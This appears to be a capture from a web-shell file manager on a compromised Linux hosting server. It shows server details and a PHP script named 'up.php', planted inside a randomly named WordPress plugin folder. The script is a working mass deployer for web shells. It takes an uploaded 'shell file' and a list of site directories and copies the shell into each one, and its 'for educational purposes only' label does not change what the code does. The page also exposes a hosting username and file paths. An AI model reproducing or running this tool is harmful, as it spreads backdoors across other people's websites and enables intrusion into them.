HEX
Server: Apache/2
System: Linux sv174 5.14.0-570.21.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 11 07:22:35 EDT 2025 x86_64
User: casinobe (1137)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/casinobe/domains/kohkae789-x.com/private_html/wp-content/plugins/rqpdsjj/up.php
<?php
// PHP Domain Processor with Manual Input
// For educational purposes only

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!empty($_FILES['shell_file']['name']) && $_FILES['shell_file']['error'] === UPLOAD_ERR_OK) {
        // Handle file upload
        $uploadDir = __DIR__ . '/uploads/';
        if (!file_exists($uploadDir)) {
            mkdir($uploadDir, 0755, true);
        }
        
        $sourceFile = $uploadDir . basename($_FILES['shell_file']['name']);
        
        if (move_uploaded_file($_FILES['shell_file']['tmp_name'], $sourceFile)) {
            // Process domains
            $domains = explode("\n", trim($_POST['domains']));
            processDomains($domains, $sourceFile);
        } else {
            die("File upload failed.");
        }
    } else {
        die("Please upload a valid file.");
    }
} else {
    showInputForm();
}

function processDomains($domains, $sourceFile) {
    $processed = [];
    $failed = [];
    
    echo "<h3>🚀 Processing Started</h3>";
    echo "Source file: $sourceFile<br>";
    echo "Domains to process: " . count($domains) . "<br><hr>";
    
    foreach ($domains as $domainPath) {
        $domainPath = trim($domainPath);
        if (empty($domainPath)) continue;
        
        // Clean and validate path
        $cleanPath = cleanPath($domainPath);
        
        if ($cleanPath && is_dir($cleanPath)) {
            if (processDomain($cleanPath, $sourceFile)) {
                $processed[] = $cleanPath;
                echo "✅ SUCCESS: $cleanPath<br>";
            } else {
                $failed[] = $cleanPath;
                echo "❌ FAILED: $cleanPath (Permission denied)<br>";
            }
        } else {
            $failed[] = $domainPath;
            echo "❌ INVALID PATH: $domainPath<br>";
        }
        flush();
    }
    
    echo "<hr><h3>📊 Processing Complete</h3>";
    echo "✅ Successful: " . count($processed) . "<br>";
    echo "❌ Failed: " . count($failed) . "<br>";
    
    if (count($failed) > 0) {
        echo "<h4>Failed paths:</h4>";
        foreach ($failed as $failPath) {
            echo "• $failPath<br>";
        }
    }
}

function cleanPath($path) {
    // Remove any protocol or URL parts
    $path = preg_replace('/^(https?:\/\/|www\.)/i', '', $path);
    $path = trim($path, '/');
    
    // Convert to absolute path if relative
    if (strpos($path, '/') !== 0) {
        $path = '/' . $path;
    }
    
    // Check if path exists and is readable
    if (is_dir($path) && is_readable($path)) {
        return realpath($path);
    }
    
    return false;
}

function processDomain($domainPath, $sourceFile) {
    $targetFile = $domainPath . '/' . basename($sourceFile);
    
    // Skip if file already exists
    if (file_exists($targetFile)) {
        return true;
    }
    
    // Copy the file
    return @copy($sourceFile, $targetFile);
}

function showInputForm() {
    echo '
    <!DOCTYPE html>
    <html>
    <head>
        <title>Domain Processor</title>
        <style>
            body { font-family: Arial, sans-serif; margin: 40px; background: #f4f4f4; }
            .container { max-width: 800px; margin: 0 auto; background: white; padding: 30px; border-radius: 10px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
            textarea { width: 100%; height: 200px; padding: 10px; border: 1px solid #ddd; border-radius: 5px; margin: 10px 0; }
            input[type="file"] { margin: 15px 0; padding: 10px; border: 2px dashed #ccc; width: 100%; }
            input[type="submit"] { background: #28a745; color: white; padding: 12px 25px; border: none; cursor: pointer; border-radius: 5px; font-size: 16px; }
            input[type="submit"]:hover { background: #218838; }
            .info { background: #e9ecef; padding: 15px; border-radius: 5px; margin: 15px 0; }
            .example { background: #f8f9fa; padding: 10px; border-left: 4px solid #007bff; margin: 10px 0; }
        </style>
    </head>
    <body>
        <div class="container">
            <h2>🔧 Domain Path Processor</h2>
            
            <div class="info">
                <strong>How to use:</strong> Paste your domain paths (one per line) and upload your shell file.
            </div>
            
            <div class="example">
                <strong>Example format:</strong><br>
                /home/user1/domain1.com<br>
                /home/user2/domain2.org<br>
                /var/www/domain3.net<br>
                /home/cepinonl/apartmani-slivka.com
            </div>
            
            <form method="POST" enctype="multipart/form-data">
                <div>
                    <label><strong>Paste Domain Paths:</strong></label>
                    <textarea name="domains" placeholder="Enter one path per line&#10;Example:&#10;/home/user1/domain1.com&#10;/home/user2/domain2.org" required></textarea>
                </div>
                
                <div>
                    <label><strong>Upload Shell File:</strong></label>
                    <input type="file" name="shell_file" required>
                </div>
                
                <input type="submit" value="🚀 Process Domains">
            </form>
        </div>
    </body>
    </html>';
}
?>